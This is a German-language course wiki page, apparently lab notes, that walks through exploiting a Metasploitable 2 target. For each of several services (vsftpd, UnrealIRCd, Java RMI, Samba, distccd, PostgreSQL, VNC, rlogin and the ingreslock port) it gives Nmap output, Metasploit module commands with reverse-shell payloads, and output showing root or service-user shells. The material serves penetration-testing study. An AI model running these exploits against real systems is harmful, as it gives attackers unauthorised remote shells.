> For the complete documentation index, see [llms.txt](https://n4shx.gitbook.io/wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n4shx.gitbook.io/wiki/schule/mspl-2/remote-exploits.md). # Remote Exploits ## vsftpd Port 21 Beim Scan wurde folgender Dienst erkannt: ```bash Nmap scan report for 10.0.2.4 Host is up (0.00053s latency). Not shown: 65508 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 ``` ```bash $ searchsploit vsftpd 2.3.4 ---------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------- --------------------------------- vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb ---------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ``` Für diese Version existiert ein **Backdoor Command Execution** Modul in Metasploit. *** ## IRC Remote Exploit Beim Scan wurde `UnrealIRCd` gefunden: ```bash Nmap scan report for 10.0.2.4 Host is up (0.00053s latency). Not shown: 65508 closed ports PORT STATE SERVICE VERSION 6667/tcp open irc UnrealIRCd 6697/tcp open irc UnrealIRCd ``` Passendes Metasploit-Modul: ```bash msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf > set RHOSTS 10.0.2.4 msf > set PAYLOAD cmd/unix/reverse msf > set LHOST 10.0.2.10 msf > exploit ``` Beispiel: ```bash [*] 10.0.2.4:6667 - Sending backdoor command... ``` *** ## Java RMI Remote Exploit Beim Scan wurde ein Java-RMI-Dienst erkannt: ```bash Nmap scan report for 10.0.2.4 Host is up (0.00053s latency). Not shown: 65508 closed ports PORT STATE SERVICE VERSION 1099/tcp open java-rmi GNU Classpath grmiregistry ``` Passendes Metasploit-Modul: ```bash msf > use exploit/multi/misc/java_rmi_server msf > set RHOSTS 10.0.2.4 msf > exploit ``` *** ## NetBIOS Samba Remote Exploit Beim Scan wurde Samba erkannt: ```bash Nmap scan report for 10.0.2.4 Host is up (0.00053s latency). Not shown: 65508 closed ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) ``` Passendes Metasploit-Modul: ```bash msf > use exploit/multi/samba/usermap_script msf > set RHOSTS 10.0.2.4 msf > set PAYLOAD cmd/unix/reverse msf > exploit ``` Beispielausgabe: ```bash [*] Started reverse TCP double handler on 10.0.2.4:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command shell session 1 opened ``` Prüfen des Benutzers: ```bash whoami root ``` *** ## DISTCCD Remote Exploit Beim Scan wurde `distccd` erkannt: ```bash Nmap scan report for 10.0.2.4 Host is up (0.00053s latency). Not shown: 65508 closed ports PORT STATE SERVICE VERSION 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4)) ``` Passendes Metasploit-Modul: ```bash msf > use exploit/unix/misc/distcc_exec msf > set RHOSTS 10.0.2.4 msf > set LHOST 10.0.2.10 msf > set PAYLOAD cmd/unix/reverse msf > exploit ``` Beispielausgabe: ```bash [*] Started reverse TCP double handler on 10.0.2.10:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command shell session 1 opened ``` Benutzer prüfen: ```bash whoami daemon ``` *** ## PostgreSQL Remote Exploit Beim Scan wurde PostgreSQL erkannt: ```bash Nmap scan report for 10.0.2.4 Host is up (0.00053s latency). Not shown: 65508 closed ports PORT STATE SERVICE VERSION 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 ``` Passendes Metasploit-Modul: ```bash msf > use exploit/linux/postgres/postgres_payload msf > set RHOSTS 10.0.2.4 msf > exploit ``` Beispielausgabe: ```bash [*] Started reverse TCP handler on 10.0.2.10:4444 [*] Meterpreter session 1 opened ``` Shell öffnen und Benutzer prüfen: ```bash meterpreter > shell Process 5328 created. Channel 1 created. whoami postgres ``` *** ## VNC Remote Exploit Beim Scan wurde ein VNC-Dienst erkannt: ```bash Nmap scan report for 10.0.2.4 Host is up (0.00053s latency). Not shown: 65508 closed ports PORT STATE SERVICE VERSION 5900/tcp open vnc VNC (protocol 3.3) ``` Mit dem VNC-Login-Scanner in Metasploit kann geprüft werden, ob ein Standardpasswort gesetzt ist: ```bash msf > use auxiliary/scanner/vnc/vnc_login msf > set RHOSTS 10.0.2.4 msf > exploit ``` Beispielausgabe: ```bash [*] 10.0.222.138:5900 - Starting VNC login sweep [+] 10.0.222.138:5900 - Login Successful: :password [*] Scanned 1 of 1 hosts (100% complete) ``` Danach kann die Verbindung mit einem VNC Viewer und dem Passwort `password` getestet werden. *** ## Login Backdoor Bei manchen Diensten oder Backdoors ist ein direkter Login möglich. #### Rlogin ```bash rlogin -l root $ip ``` Beispiel: ```bash Last login: Mon Mar 23 09:10:26 EDT 2026 from 192.168.56.102 on pts/1 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 root@metasploitable:~# ``` #### Netcat ```bash nc -v $ip 1524 ``` Beispiel: ```bash 192.168.56.101: inverse host lookup failed: Host name lookup failure (UNKNOWN) [192.168.56.101] 1524 (ingreslock) open ```